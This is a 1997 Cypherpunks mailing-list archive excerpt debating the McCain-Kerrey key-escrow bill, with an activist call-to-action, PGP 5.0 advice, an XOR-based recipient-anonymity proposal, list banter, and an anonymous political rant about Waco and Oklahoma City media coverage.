furtherance of a crime; (s. 104)

Criminalize breaking another person's ciphertext for the purpose of
violating their privacy, security, or property rights; (goodbye, Netscape
bugs bounty and DES/RC4 cracks) (s. 105(3))

Criminalize intercepting another's intellectual property for the purpose of
violating intellectual property rights (s. 105(4))

Criminalize issuing a key to another person in furtherance of a crime (s.
105(6))

Require federal government purchasers of crypto equipment to buy GAK
crypto; (s. 202, 204)

Require crypto products purchased with federal funds for use on a public
network to employ GAK crypto; (s. 203, 205)

Legalize the export of 56-bit DES crypto; (s. 302)

Criminalizes the issuance of signature certificates by registered CA's for
encryption keys if the user has not complied with GAK procedures; (s.
407(a)(4))

Criminalizes requesting a signature certificate for an encryption key from
a registered CA if the user has not complied with GAK procedures; (s.
407(a)(5))

Allows the Secretary of Commerce to "make investigations, obtain
information, take sworn testimony, and require reports or the keeping of
records by .. any person", to the extent necessary to enforce the Act; (s.
701(a))

Allows the Secretary of Commerce to subpoena witnesses and documents in any
State at any designated place; (s. 701(b)(3)(A))

Allows the Secretary of Commerce to impose civil/adminstrative penalties of
up to $100K for violations of the Act; (s. 702(1))


Ugh. The original is online at
, mirrored at
.




--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles at netbox.com         |
http://www.io.com/~gbroiles | Export jobs, not crypto.

--- end forwarded text



-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From wombat at mcfeely.bsfs.org  Tue Jun 17 16:27:42 1997
From: wombat at mcfeely.bsfs.org (Rabid Wombat)
Date: Wed, 18 Jun 1997 07:27:42 +0800
Subject: Declan as a Budding Washington Insider
In-Reply-To: 
Message-ID: 




Dear Citizen-Unit May;

It is not easy working in the Washington area. All of us have to devote a 
significant amount of time to inventing newsworthy activies to keep the 
media well-fed and all of you west-coast slackers entertained. We would 
appreciate it if you showed more respect for our efforts. While you're at 
it, try to pay a bit more in taxes; things are getting to be almost as 
expensive over here as they are out in the valley. I was knocking back a 
brew with Bill the other day, and it cost me five bucks.

-SpinMarsupial

On Tue, 17 Jun 1997, Tim May wrote:

> Dorothy (and not the Oz one). In D.C., the whole political process is a
> series of social contacts. This is markedly different from life here in the






From 3umoelle at informatik.uni-hamburg.de  Tue Jun 17 16:52:39 1997
From: 3umoelle at informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Wed, 18 Jun 1997 07:52:39 +0800
Subject: Regulating the Net
In-Reply-To: <199706171126.HAA08815@arutam.inch.com>
Message-ID: 



> Note the privacy protections being written into law in Germany:
> 
> "Privacy protection: Personal data can be gathered only to the
> extent that is necessary to perform the requested service (like
> connecting to the Internet) or for accounting purposes, and must be
> erased immediately thereafter. The consumers must be forewarned of
> the type, scope and place of the data collection and have the right
> to access their personal information at any time."
> 
> Since this bill is now passing into law, I will expect an immediate 
> exodus of corporations from the country in order to avoid these 
> draconian laws.  Better start selling my deutschemarks, huh?

There is nothing much new in that law.  Internet service providers
have always been subject to the general Privacy Law.  Also have a look
at the EU privacy directive, which is similar in spirit:
http://www.echo.lu/legal/en/dataprot/directiv/directiv.html

You'll probably not be very surprised to learn that e.g. many credit
card companies operate from Denmark or the Netherlands, and that even
the state-owned railway company has orders for their customer cards
processed in the US and the cards mailed from Holland.






From ravage at EINSTEIN.ssz.com  Tue Jun 17 16:58:35 1997
From: ravage at EINSTEIN.ssz.com (Jim Choate)
Date: Wed, 18 Jun 1997 07:58:35 +0800
Subject: Kerrey bill introduced in Senate (fwd)
Message-ID: <199706172318.SAA01303@einstein.ssz.com>



Hi,

Forwarded message:

> Date: Tue, 17 Jun 1997 19:09:09 -0400
> From: Robert Hettinga 
> Subject: Kerrey bill introduced in Senate

> Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
> Senate today, cosponsored by Sen. McCain.
> 
> The bill, if passed, would:
> 
> Criminalize breaking another person's ciphertext for the purpose of
> violating their privacy, security, or property rights; (goodbye, Netscape
> bugs bounty and DES/RC4 cracks) (s. 105(3))

Actualy it would prevent me from cracking your ciphertext, it does not
prevent me from trying to crack my own ciphertext. Since I am supplying the
plaintext it is clear that I can continue to test Netscape or any other
algorithm. It also implies, by specificaly mentioning privacy, that you can
give me permission to attempt to crack your ciphertext. It, intentionaly or
not, give you the individual the choice and not Uncle Sam.

> Criminalize intercepting another's intellectual property for the purpose of
> violating intellectual property rights (s. 105(4))

I have absolutely no problem with making it illegal for you to packet sniff
my network when your specific goal is to take internal information against
my will and use it against me.

I think this is the kind of law that needs to be made. I would however
suspect that existing law covers this quite thoroughly.

> Require federal government purchasers of crypto equipment to buy GAK
> crypto; (s. 202, 204)

The federal government can require whatever the hell it wants of itself. I
don't work for them anymore and would not consider it in the future. When
they start telling me that I have to do something for their convenience,
then and there I have a major bitch.

> Require crypto products purchased with federal funds for use on a public
> network to employ GAK crypto; (s. 203, 205)

See above.

> Legalize the export of 56-bit DES crypto; (s. 302)

Ain't much, but it is a step in the right direction. I mean, 64-bit ain't
that far from 56, and shoot if your gonna give me 64 how about 128 since it
is ONLY twice as 'large'.

> Criminalizes the issuance of signature certificates by registered CA's for
> encryption keys if the user has not complied with GAK procedures; (s.
> 407(a)(4))

When did they pass a law requiring registration of CA's in the first place?
Or is this another law that only applies to voluntarily registered
government  CA's? And just exactly what is the ANSI/ISO standard of said
registrant? RFC?

> Criminalizes requesting a signature certificate for an encryption key from
> a registered CA if the user has not complied with GAK procedures; (s.
> 407(a)(5))

I don't understand this. Is the person asking committing the crime for
asking for a signature certificate without complying with GAK processes?
Or is the person refusing to register their key with a CA after the CA
received a request from a third party?

> Allows the Secretary of Commerce to "make investigations, obtain
> information, take sworn testimony, and require reports or the keeping of
> records by .. any person", to the extent necessary to enforce the Act; (s.
> 701(a))

Are you saying they must require everyone in a particular business class to
comply with their regulatory mechanations without exception OR that they
will be able to force such regulatory excesses as they can squeeze out of an
individual person/business?

> Allows the Secretary of Commerce to subpoena witnesses and documents in any
> State at any designated place; (s. 701(b)(3)(A))

Their enforcement agents already have this power since they are considered
federal agents equivalent to DEA or FBI (Hint: NEVER argue with a guy wearing
NOAA, NASA, USGS, DoA, etc. *AND* a badge).

> Allows the Secretary of Commerce to impose civil/adminstrative penalties of
> up to $100K for violations of the Act; (s. 702(1))

Without trial?

    ____________________________________________________________________
   |                                                                    | 
   |            _____                             The Armadillo Group   |
   |         ,::////;::-.                           Austin, Tx. USA     |
   |        /:'///// ``::>/|/                     http:// www.ssz.com/  |
   |      .',  ||||    `/( e\                                           |
   |  -====~~mm-'`-```-mm --'-                         Jim Choate       |
   |                                                 ravage at ssz.com     |
   |                                                  512-451-7087      |
   |____________________________________________________________________|






From declan at well.com  Tue Jun 17 17:02:53 1997
From: declan at well.com (Declan McCullagh)
Date: Wed, 18 Jun 1997 08:02:53 +0800
Subject: Declan as a Crime Beat Reporter
Message-ID: 





---------- Forwarded message ----------
Date: Tue, 17 Jun 1997 14:38:49 -0700 (PDT)
From: Joe Shea 
To: Declan McCullagh 


	As a real Hollywood reporter, I'm sorry to tell you both Chasen's
and the Brown Derby are long shuttered.  So is Scandia and Cock 'n Bull. 
About the only old-line place of that type left is Tam O'Shanter. 

Best,

Joe Shea
Editor-in-Chief
The American Reporter
joeshea at netcom.com
http://www.newshare.com:9999









From tomw at netscape.com  Tue Jun 17 17:53:00 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Wed, 18 Jun 1997 08:53:00 +0800
Subject: Kerrey bill introduced in Senate
In-Reply-To: <3.0.2.32.19970617144146.009656c0@mail.io.com>
Message-ID: <33A72D23.855D7AAA@netscape.com>



Greg Broiles wrote:
> 
> Sen. Kerrey's evil "Secure Public Networks Act" was introduced in the
> Senate today, cosponsored by Sen. McCain.

The bill is S.909, and it's described as "A bill to encourage and
facilitate the creation of secure public networks for communication,
commerce, education, medicine, and government."

It was also cosponsored by Sen. Hollings(SC).  It's been referred to
the Commerce committee.  Here's a list of all the committee members.

 Republicans            Democrats
 -----------            ---------
 McCain (AZ)            Hollings (SC)
 Stevens (AK)           Inouye (HI)
 Burns (MT)             Ford (KY)
 Gorton (WA)            Rockefeller (WV)
 Lott (MS)              Kerry (MA)
 Hutchison (TX)         Breaux (LA)
 Snowe (ME)             Bryan (NV)
 Ashcroft (MO)          Dorgan (ND)
 Frist (TN)             Wyden (OR)
 Abraham (MI)
 Brownback (KS)

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From tcmay at got.net  Tue Jun 17 19:47:41 1997
From: tcmay at got.net (Tim May)
Date: Wed, 18 Jun 1997 10:47:41 +0800
Subject: The Tao
In-Reply-To: <3.0.2.32.19970617144146.009656c0@mail.io.com>
Message-ID: 



At 5:34 PM -0700 6/17/97, Tom Weinstein wrote:

>What is appropriate for the master is not appropriate| Tom Weinstein
>for the novice.  You must understand Tao before      | tomw at netscape.com
>transcending structure.  -- The Tao of Programming   |

All Beings are happy when the Tao approaches 8800.



--Tim "still long the market" May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From vznuri at netcom.com  Tue Jun 17 20:44:20 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 18 Jun 1997 11:44:20 +0800
Subject: Declan as a Crime Beat Reporter
In-Reply-To: 
Message-ID: <199706180334.UAA12837@netcom2.netcom.com>




[declan]
>Another way of viewing the Washington reporter problem is to view him as a
>Hollywood reporter, sort of an Army Archerd character "doing lunch" at
>Chasen's and The Brown Derby, not to mention doing lines at the Viper Club.
>
>But a more accurate comparison is to crime beat reporters, those scribblers
>who hang out at the Mafia watering holes and social clubs (when they're
>allowed in, to spin a story in a favorable way), reporting on the turf
>battles between the rival factions, and leaking out rumors of who's
>planning to make a move on Vinnie Bones.

ah, so lets see, given your strange fascination with the mafia and
mafia-like ventures such as Blacknet and anonymous digital-cash
funded cyberspace assassination, that would make you a prime
Declan follower and admirer.

>One more day in the life of Declan McCullagh, Washington Crime Family Reporter

hee, hee, I hope that Declan comes up with an amusing mishmash of your
own life. turnabout is fair play. maybe if he doesn't, someone else
can take a stab at satirizing mr. debauched millionaire playboy
who dabbles in cryptography theory.








From dlv at bwalk.dm.com  Tue Jun 17 20:44:59 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 18 Jun 1997 11:44:59 +0800
Subject: The Tao
In-Reply-To: 
Message-ID: 



> --Tim "still long the market" May

May not be a smart idea.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From vznuri at netcom.com  Tue Jun 17 20:59:53 1997
From: vznuri at netcom.com (Vladimir Z. Nuri)
Date: Wed, 18 Jun 1997 11:59:53 +0800
Subject: The Tao
In-Reply-To: 
Message-ID: <199706180340.UAA13412@netcom2.netcom.com>




>
>>What is appropriate for the master is not appropriate| Tom Weinstein
>>for the novice.  You must understand Tao before      | tomw at netscape.com
>>transcending structure.  -- The Tao of Programming   |
>
>All Beings are happy when the Tao approaches 8800.

the crass, ignorant, and materialistic mistake the Tao for the Dow.
when the Dow melts down, those that believe in it will be as shattered
as those clinging to a false religion. they will be like the 
priests of a fallen hypocrisy. this is the way of the
Tao, to arrive at truth by swimming through falsity. for
the master it need not be so. but masters are rare. if they
were not rare, it would not be the Tao.







From announce at lists.zdnet.com  Tue Jun 17 21:15:01 1997
From: announce at lists.zdnet.com (announce at lists.zdnet.com)
Date: Wed, 18 Jun 1997 12:15:01 +0800
Subject: Announcing E3News.Com!
Message-ID: 



-----------------------------------------------------------------
   ZDNET ANNOUNCEMENT          6/17/97
-----------------------------------------------------------------

E3News.com to Cover Gaming�s Biggest Show in Real Time!

The GameSpot Network will be broadcasting live from the Electronic
Entertainment Expo (E3) in Atlanta this week. E3 is the biggest 
show in the games industry. You can learn about the show, and see
it all as it happens right now at the E3 News.com site:

http://www.e3news.com

More than fifty editors from GameSpot, VideoGameSpot, GameSpot 
News, Computer Gaming World, Electronic Gaming Monthly, EGM2 and 
P.S.X. will be roaming the show floor on June 19, 20 and 21 to 
bring you all the stories from this computer and video game 
extravaganza.

Read about the newest games, the latest hardware, the biggest 
stories, all posted live from the E3 News media center on the 
show floor. The site will be updated continuously, so you'll see 
everything as it happens.

E3News.com will also bring you coverage of the outrageous parties
and after-hours events. It�s the next best thing to being there!
If you like games, E3News.com is a must see!

--- E3News.com ---

http://www.e3news.com	

--- The GameSpot Network - Your Games Channel on ZDNet ---

http://www.gamespot.com

_______________________________________________________________       

ZDNet Announcements are periodic notices of new features,
special events and free offers available to members of ZDNet. 

--To subscribe to ZDNet Announcements, please send mail to:
announce-on at lists.zdnet.com        
You can leave the subject and body blank.        

--To unsubscribe to ZDNet Announcements, please send mail to:
announce-off at lists.zdnet.com       
You can leave the subject and body blank. 
_______________________________________________________________


Powered by Mercury Mail: http://www.merc.com
===============================================================






From jal at acm.org  Tue Jun 17 23:24:56 1997
From: jal at acm.org (Jamie Lawrence)
Date: Wed, 18 Jun 1997 14:24:56 +0800
Subject: eDrugs / Re: e$: Skins vs. Shirts
In-Reply-To: <199706161942.VAA03680@basement.replay.com>
Message-ID: 



At 9:42 PM +0200 on 6/16/97, Anonymous wrote:


> Do _you_ have the hacker nature?
> 
> Do you _still_ have the hacker nature?
>
>                  Raven

% whois blacknet.net

American Black Entrepreneurs Association BLACKNET4-DOM
   P.O. Box 1304
   Montclair, NJ 07042
   US

   Domain Name: BLACKNET.NET

   Administrative Contact, Technical Contact, Zone Contact:
      Durko, David  DD775  kabmed at IX.NETCOM.COM
      201-497-1400
   Billing Contact:
      Durko, David  DD775  kabmed at IX.NETCOM.COM
      201-497-1400

   Record last updated on 05-Apr-97.
   Record created on 05-Apr-97.
   Database last updated on 16-Jun-97 05:26:09 EDT.

   Domain servers in listed order:

   NS1.SPRINTLINK.NET           204.117.214.10
   NS2.SPRINTLINK.NET           199.2.252.10

%

--
"This analogy is like lifting yourself by your own bootstraps."
                                         -Douglas R. Hofstadter
_______________________________________________________________
Jamie Lawrence                                      jal at acm.org







From shabbir at vtw.org  Tue Jun 17 23:25:42 1997
From: shabbir at vtw.org (Shabbir J. Safdar)
Date: Wed, 18 Jun 1997 14:25:42 +0800
Subject: ALERT: Senate to vote on mandatory key escrow as early as Thu June 19!
Message-ID: <199706180606.CAA22144@panix3.panix.com>



=============================================================================
          ____                  _              _   _
         / ___|_ __ _   _ _ __ | |_ ___       | \ | | _____      _____
        | |   | '__| | | | '_ \| __/ _ \ _____|  \| |/ _ \ \ /\ / / __|
        | |___| |  | |_| | |_) | || (_) |_____| |\  |  __/\ V  V /\__ \
         \____|_|   \__, | .__/ \__\___/      |_| \_|\___| \_/\_/ |___/
                    |___/|_|

        SENATE COMMERCE COMMITTEE SET TO VOTE ON MANDATORY KEY ESCROW
            LEGISLATION AS EARLY AS THURSDAY JUNE 19TH!  CALL NOW!

     Date: June 17, 1997                            Expires July 1, 1997

         URL:http://www.crypto.com/            crypto-news at panix.com
           Redistribution of crypto-news is allowed in its entirety.

_____________________________________________________________________________
Table of Contents
        ALERT - Senate Committee Set to Vote on Key Escrow
        What YOU CAN DO NOW!
        Background On The Encryption Issue
        How to start or stop receiving crypto-news
        About This Alert

_____________________________________________________________________________
ALERT - SENATE COMMITTEE SET TO VOTE ON BILL TO GUARANTEE GOVERNMENT ACCESS
TO YOUR PRIVATE ONLINE COMMUNICATIONS

On Tuesday June 17, Senators John McCain (R-AZ) and Bob Kerrey (D-NE)
introduced legislation which would all but mandate that Americans provide
guaranteed government access to their private online communications and
stored files.

The bill, known as "The Secure Public Networks Act of 1997" (S.909)
represents a full scale assault on your right to protect the privacy and
confidentiality of your online communications. Please take a moment to read
the instructions below and, if your Senator is a member of the Commerce
Committee, please take a moment to call your Senator TODAY!

Though offered on Capitol Hill as a compromise, the McCain-Kerrey bill is
virtually identical to draft legislation proposed earlier this year by the
Clinton Administration while doing nothing to protect the privacy and
security of Internet users. The bill closely mirrors  draft legislation
proposed by the Clinton Administration earlier this Spring.

Specifically, the bill would:

 * Compel Americans to Use Government-Approved Key Recovery Systems
 * Make Key Recovery a Condition Of Participation in E-Commerce
 * Allow Government Carte Blanche Access to Sensitive Encryption Keys
   Without a Court Order
 * Create New Opportunities for Cybercrimes
 * Codify a low 56-bit Key Length Limit on Encryption Exports
 * Create Broad New Criminal Penalties for the Use of Encryption

The full text of the bill, along with a detailed analysis, is available
online at http://www.cdt.org/crypto/

________________________________________________________________________
WHAT'S HAPPENING NOW

On Thursday June 19, the Senate Commerce Committee is scheduled to hold a
vote on S. 377, the Promotion of Commerce Online in the Digital Era
(Pro-CODE) Act - an Internet-friendly encryption reform bill sponsored by
Senators Burns (R-MT) and Leahy (D-VT).

Senator McCain, the Commerce Committee Chairman, is expected to try and
substitute his proposal for Pro-CODE - gutting the proposal and inserting
provisions which would all but mandate guaranteed government access to your
private communications.

Please take a few moments to help protect your privacy and security in the
Information Age by following the simple instructions below.

________________________________________________________________________
WHAT YOU CAN DO NOW

   ** THE COMMITTEE IS EXPECTED TO VOTE AT 9:30 AM Eastern JUNE 19 **
         ** IT IS CRITICAL THAT YOU CALL YOUR SENATOR TODAY **

A list of Senate Commerce Committee members is printed below. If your
Senator is on the list, please call TODAY.

  NOTE - If your Senator is not on the list, please visit
         http://www.crypto.com/adopt and ADOPT YOUR LEGISLATOR. You will
         receive targeted alerts next time your Representatives or
         Senators are poised to vote on this and other critical Internet
         Related issues.

1. If your Senator's name is on the list below, pick up the phone and
   call them at 202-224-3121.  Ask for your Senator's office.  

  Order: Frist, Abraham, Snowe, Stevens, Browe, Bryan.

  * = has publicly stated opposition to the McCain-Kerrey bill.
  + = has publicly stated support to the McCain-Kerrey bill.

   William Harrison Bill Frist, R-TN
   Spencer Abraham, R-MI                        ALL THESE SENATORS ARE
   Olympia Snowe, R-ME                       TELEPHONABLE AT 202-224-3121
   Ted Stevens, R-AK
   John B. Breaux, D-LA
   Richard H. Bryan, D-NV

   +John McCain, R-AZ, Chairman
   *Conrad R. Burns, R-MT
   Slade Gorton, R-WA
   *Trent Lott, R-MS
   Kay Bailey Hutchison, R-TX
   *John Ashcroft, R-MO
   *Sam Brownback, R-KS

   +Ernest F. Hollings, D-SC, Ranking minority member
   Daniel K. Inouye, D-HI
   Wendell H. Ford, D-KY
   +John D. Rockefeller, IV, D-WV
   +John F. Kerry, D-MA
   *Byron L. Dorgan, D-ND
   *Ron Wyden, D-OR

2. Ask for the staffer that handles the encryption issue

3. Urge your Senator to OPPOSE THE McCAIN-KERREY BILL (S. 909)
   at the Commerce Committee Markup on June 19:

SAY
THIS -> I am a constituent calling to urge the Senator to oppose the
        McCain-Kerrey "Secure Public Networks Act" at the Committee
        markup on June 19.

        The bill all but mandates key-recovery encryption and represents
        a grave threat to privacy and electronic commerce on the
        Internet.

        We need a solution to this issue that protects privacy and
        security on the Internet, and the solution being offered by
        Senators McCain and Kerrey isn't it. I hope you will take a
        strong stand on this important issue.

4. IMPORTANT! -- PLEASE LET US KNOW HOW IT WENT!

   Go to the feedback page for your member of Congress at
   http://www.crypto.com/feedback/ and let us know how it went. This
   will help us coordinate our strategy on the ground in DC.

5. Please forward this alert to your friends and colleagues
   who live in your congressional district (do not forward after
   June 25)

6. Finally, relax! You have done more to help fight for privacy and
   security on the Internet in 5 minutes than most people do in a year!
   We appreciate your support!

________________________________________________________________________
BACKGROUND ON THE ENCRYPTION POLICY ISSUE

Complete background information, including:

* A down-to-earth explanation of why this debate is important to
  Internet users
* Analysis and background on the issue
* An analysis of the Risks of Key-Recovery by leading cryptographers
* Text of the Administration draft legislation
* Text of Congressional proposals to reform US encryption policy
* Audio transcripts and written testimony from recent Congressional
  Hearings on encryption policy reform
* And more!

Are all available at http://www.crypto.com/

________________________________________________________________________
WHAT'S AT STAKE

Encryption technologies are the locks and keys of the Information age,
enabling individuals and businesses to protect sensitive information
as it is transmitted over the Internet. As more and more individuals
and businesses come online, the need for strong, reliable, easy-to-use
encryption technologies has become a critical issue to the health and
viability of the Net.

Current US encryption policy, which limits the strength of encryption
products US companies can sell abroad, also limits the availability of
strong, easy-to-use encryption technologies in the United States. US
hardware and software manufacturers who wish to sell their products on
the global market must either conform to US encryption export limits or
produce two separate versions of the same product, a costly and
complicated alternative.

The export controls, which the NSA and FBI argue help to keep strong
encryption out of the hands of foreign adversaries, are having the
opposite effect. Strong encryption is available abroad, but because of
the export limits and the confusion created by nearly four years of
debate over US encryption policy, strong, easy-to-use privacy and
security technologies are not widely available off the shelf or "on the
net" here in the US.

A recently discovered flaw in the security of the new digital telephone
network exposed the worst aspects of the Administration's encryption
policy.  Because the designers needed to be able to export their
products, the system's security was "dumbed down".  Researchers
subsequently discovered that it is quite easy to break the security of the
system and intrude on what should be private conversations.

This incident underscores the larger policy problem: US companies are
at a competitive disadvantage in the global marketplace when competing
against companies that do not have such hindrances.  And now, for the first
time in history, the Clinton Administration and members of the US Senate
have proposed DOMESTIC RESTRICTIONS on the ability of Americans to protect
their privacy and security online.

All of us care about our national security, and no one wants to make it
any easier for criminals and terrorists to commit criminal acts. But we
must also recognize encryption technologies can aid law enforcement
and protect national security by limiting the threat of industrial
espionage and foreign spying, promote electronic commerce and protecting
privacy.

What's at stake in this debate is nothing less than the future of
privacy and the fate of the Internet as a secure and trusted medium for
commerce, education, and political discourse.

________________________________________________________________________
HOW TO START OR STOP RECEIVING CRYPTO-NEWS

To subscribe to crypto-news, sign up from our WWW page (http://www.crypto.com)
or send mail to majordomo at panix.com with "subscribe crypto-news" in the body
of the message.  To unsubscribe, send a letter to majordomo at panix.com with
"unsubscribe crypto-news" in the body.

Requests to unsubscribe that are sent to shabbir at vtw.org will be ignored.

________________________________________________________________________
ABOUT THIS ALERT

This message was brought to you by the Center for Democracy and
Technology (http://www.cdt.org) and the Voters Telecommunications Watch
(http://www.vtw.org/), who have joined together to create the Adopt Your
Legislator Campaign - a unique and effective way of creating dialogue
between members of Congress and their Constituents on critical
Internet-related issues.

For more information on the Adopt Your Legislator Campaign, please visit
http://www.crypto.com/adopt/
______________________________________________________________________________
end alert 06.17.97
------------------------------------------------------------------------------






From stewarts at ix.netcom.com  Wed Jun 18 00:06:31 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Wed, 18 Jun 1997 15:06:31 +0800
Subject: PGP for Windows 95
In-Reply-To: 
Message-ID: <3.0.2.32.19970617235457.0075b1d8@popd.ix.netcom.com>



At 08:55 AM 6/17/97 +0000, Silvakow wrote:
>Has anyone yet checked out PGP for Windows 95?  It's $50 at stores 
>right now.  Information from pgp.com, but I want to know more before 
>I buy it.  Is it worth it?  Should I stick with PGP for DOS?  And 

Get the beta at www.pgp.com and try it out.  I've been very pleased
with it - the integration into Eudora is very nice, and the
PGPtray icon works much better than the Enclyptor did - you can
encrypt/decrypt/sign/verify to and from the clipboard,
making it easy to work with non-PGP-aware applications.
The key management has been mostly separated from the encryption,
which was really the right thing to do anyway,
and if you like GUIs, it's got one.  

If you're trying to write programs to integrate PGP
without using the GUI, you'll have to do some work again;
enough of the details have changed.

>does anyone know if those PGP public keys are compatible with DOS PGP?

PGP 5.0 uses two types of keys - the familiar RSA keys, which are handled
compatibly with previous versions of PGP, and new-algorithm keys,
which use DSA for signatures, Diffie-Hellman for encryption, and SHA-1 hashes.
It can use the old keys, and generate RSA keys you can use with older PGP,
but obviously the older PGP can't use the DSA/DH keys.  I don't remember
if the freeware version that you can get at MIT will also generate 
new RSA keys or only use them.

The keyring files themselves are obviously different, since they 
can contain DSA/DH keys and some other data, but they're upward compatible.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From ghio at temp0097.myriad.ml.org  Wed Jun 18 01:37:08 1997
From: ghio at temp0097.myriad.ml.org (Matthew Ghio)
Date: Wed, 18 Jun 1997 16:37:08 +0800
Subject: Recipient Anonymity
Message-ID: <199706180825.BAA20903@myriad.alias.net>



A group of servers collects messages of equal length for anonymous
recipients.  All servers exchange messages so that each has copies of all
messages.

A recipient wishes to retrieve a message from the servers without any
server knowing which message he is receiving.  The recipient selects a
group of n servers.  From each server, S_1...S_n-1, he requests a random
selection of messages, with a 50% probability that any particular message
will be selected.  The server returns the xor of all messages requested.
He sends the final server a request which is the xor of all the previous
requests and the one single message that he wants.

The xor of all the responses is the desired message.  It is impossible to
determine which message was received unless all servers collude.

A variant of this scheme where there is only one server and a number of
anonymizing proxies will also work, however in this case there must be
sufficient delay to obscure the time correlations or the server will know
which message was received, and collusion with any one of the proxies
could reveal the recipient.

It is also possible to eliminate the need for real-time communication and
operate the system on a store-and-forward network.  The recipient
generates a one time pad and sends it to a remailer/messageserver along
with a reply-block which is a nested series of encrypted message requests
and next-hop addresses.  Each remailer along the way xors the requested
messages onto the existing message data before forwarding it to the next
hop.  When the recipient gets his message back, he decrypts it using the
one time pad.  To account for the situation where first and last remailer
collude, it is desireable to have some of the intervening remailers apply
a stream cipher to the message using a supplied key.

The server-to-server broadcast eliminates the need for cover traffic, but
the anonymizing proxy system does not.  However, there is no reason that
both schemes could not be used concurrently in the same network, and in
fact they would look the same to the end-user.

Except for the additional server-to-server communications necessary to
broadcast new messages into the system, the bandwidth utilization is
comparable to sender-anonymous remailers; it scales linearly as the
number of parties involved in the delivery of a particular message.  The
failure rate is also the product of the failure rate for each server; if
one server delivers corrupt data, the message is unreadable, and the
recipient must identify the bad server and eliminate it from future
requests.






From nobody at huge.cajones.com  Wed Jun 18 01:38:37 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 18 Jun 1997 16:38:37 +0800
Subject: Dateline=FUD / Witness=Reality
Message-ID: <199706180813.BAA08280@fat.doobie.com>



  It is interesting to note the differences between the U.S. media and 
the Canadian media in the wake of the McVeigh trial.

  Dateline NBC is milking the remaining viewer interest by doing a
fear-piece on the dangerous threat to the country that militia groups
pose, despite the fact that the McVeigh=Militia mental construct is
a total government fabrication.
  Dateline promotes great fear over the danger posed by the existence of
citizens who "resist government control." Apparently, any citizens who
wish for freedom from government control are an enemy of the government.
Any citizens who wish to take steps to be able to defend their own
personal freedom are an enemy of the government.

  Following Dateline was Witness, a Canadian show, running a production
called "Surviving Waco."
  "Surviving Waco" was a straight documentary with little "spin" to its
theme. It reviewed the Waco tragedy without placing large amounts of
blame or adding imaginary conspiracy theories.
  What made the show startling was the fact that without all of the
hype and hoopla of spin-doctored media coverage the whole affair turned
out to be a simple case of government agencies launching an assault
against a group of people who held unusual religious beliefs.

  When you strip the hype and hoopla away from the OKC bombing, what is
really left?
  A former member of the U.S. military decided that the U.S. government
is an enemy of the citizens and should be subjected to armed assault.

  Those who made the decisions resulting in the deaths of men, women
and children in Waco are drawing government paychecks while the victims
who survived the assault are in jail.
  The person who made the decision resulting in the deaths of men,
women and children in OKC faces death and the victims who survived are
heros.

  The true tragedy surrounding these events is the fact that the
media gets away with feeding the public hype and hoopla because
that is all the public really wants to hear. Reality is just too
damn scary.
  Reality is that when the government screws up an operation so
badly that it gets totally out of hand and results in the deaths
of a multitude of citizens, the survivors will be imprisoned in
order to accentuate their guilt and the government's innocence.
  Reality is that a single person with no connections to any
(perceived) radical group can commit an act of destruction 
against government buildings and their occupants, and the
government can confiscate all the weapons and do all the
wiretaps they want without making the public any more secure 
against this possibility.

  The public wants to be told that the "danger" can be removed
if this-or-that group is neutralized. The public wants the media
to name an enemy that we can be protected from--militia, drug
dealers, pornographers, cryptologists.
  Reality is too scary.
  Reality is that I can pick up the garden hoe outside and
walk over to my neighbor's house and whack his whole family
over the head, and he can do the same. (Reality is the fact
that I would spend 5 more years in prison than he, because
I have PGP on my computer.) Reality is that if government
takes away all the guns and crypto, and taps all the phones,
and even takes away my garden hoe, I can break off a good,
thick tree branch and go whack the public over the head.
(even innocent children!)

  We live in a Media Reality where the slaughter of men, women and 
children is given a spin to provide whatever illusion the media and
the polls deem will sell the most Pepsi to the public.
  The public doesn't want to hear that the 800 law enforcement agents
surrounding Waco are monsters. They don't want to hear that people can
be slaughtered for their religious beliefs by government forces. They
do want to believe that a single monster is responsible for OKC and
that killing him will remove the threat.
  And most of all, the public wants to believe that the Branch Davidians
"had it coming," because, if they didn't, then the possibilities it
raises are too frightening to imagine.

  The problem, of course, is that the greater the number and the more
varied the groups of people who resist increasing government control,
then the greater and the more varied will be the list of people who 
"have it coming."
  Currently, cryptographers are being added to the list of those who
"have it coming." The media reports of the government assault on the
meeting place for the Bay Area Cypherpunks meeting will be accompanied
by government proof of the Cypherpunks having started the fire in which
they died. There will be great media coverage of the Cypherpunks'
conspiracies to poison water supplies, make drugs and deal in child
pornography (under their "leader," Jim Bell, of course).
  Oh, I forgot about Cypherpunks' plans to "nuke D.C." If that isn't
enough to make us all "monsters" then what is?

  Of course, while we are sitting in jail (or walking toward the gas
chamber) we can take consolation in the fact that perhaps somewhere
there is a country showing a documentary which reflects the reality
of our lives and our actions, instead of the hype and hoopla needed to
sell more Pepsi.

TruthMonger






